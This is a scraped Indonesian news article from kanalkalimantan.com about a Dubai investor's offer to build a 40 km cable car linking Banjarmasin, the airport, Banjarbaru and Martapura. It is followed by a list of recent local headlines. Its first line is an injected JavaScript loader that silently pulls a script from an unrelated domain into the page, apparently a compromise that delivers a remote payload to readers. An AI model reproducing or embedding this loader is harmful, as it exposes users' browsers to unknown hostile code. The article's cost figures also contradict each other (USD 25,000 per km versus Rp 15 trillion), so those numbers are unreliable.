(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

‘Mimpi’ Kereta Api Konvensional Menguap, Kalsel Malah Ditawari Kereta Gantung dari Dubai


KANALKALIMANTAN.COM, BANJARBARU – Rencana pembangunan moda transportasi massal kereta api di Kalimantan Selatan (Kalsel) timbul tenggelam. Semula rencana muluk Pemprov Kalsel membangun rel kereta api di darat dari Banjarmasin hingga Tanjung, bahkan terkoneksi dengan provinsi tetangga buyar menguap begitu saja, tak ada lagi kabar kejelasannya.

Kekinian, tiba-tiba Pemprov Kalsel malah mendapat tawaran ‘mimpi’ punya moda angkutan massal kereta kabel di udara alias kereta gantung.

Rencana mega proyek pembangunan kereta api gantung di Kalsel itu akan memakan dana hingga mencapai sekitar Rp 15 triliun.

Kepala Bappeda Provinsi Kalsel Dr Ariadi Noor MSi mengatakan, tawaran pembangunan kereta gantung itu seluruhnya akan dibangun oleh investor swasta dari Dubai. Bahkan, Pemprov Kalsel sudah melakukan beberapa ekspose bersama.

 

Baca juga: Air Pasang Rendam Jalan Utama di Banjarmasin, Ini Titik-titiknya

“Kereta ini tidak menggunakan trek di daratan, nanti akan menggunakan kabel di udara (Kereta gantung, red),” ujar Ariadi.

Jika ini terealisasi kata Kepala Bappeda Kalsel, kereta gantung ini diklaim akan menjadi satu-satunya di Indonesia.

Kepala Bapedda Kalsel Dr Ariadi Noor MSi. Foto: ibnu

Adapun rencana rutenya dari Banjarmasin, Bandara Syamsudin Noor, Banjarbaru hingga Martapura.

“Rute 40 Km, kalau hitungan kasar dananya sekitar 25 ribu dolar (USD, red) per kilometer,” sebutnya.

Biaya ini kata Ari -biasa disapa-, nilainya sama ketika membangun kereta api konvensional di darat, hal ini dikarenakan ketika pembangunan kereta konvensional harus melakukan pembebasan lahan.

Pembangunan kereta gantung ini diungkapkan Ari bukan Pemprov Kalsel yang membuat permohonan, melainkan tawaran dari pihak swasta.

Baca juga: Plt Bupati Kapuas Serahkan 104 Unit Kendaraan Operasional Penyuluh Pertanian    

“Sekarang (pembicaraan) sampai tahap visibility study dari sisi ekonominya, nanti setelah mereka hitung baru disodorkan ke Pemprov,” katanya.

Dengan adanya kereta api gantung ini, nantinya menjadikan pelayanan bagi masyarakat dan ekonomi Kalsel akan berkembang. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Peringatan Hari Bela Negara ke-76, Ini Kata Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More

38 menit ago

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

3 jam ago

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

16 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

18 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

18 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

20 jam ago

This website uses cookies.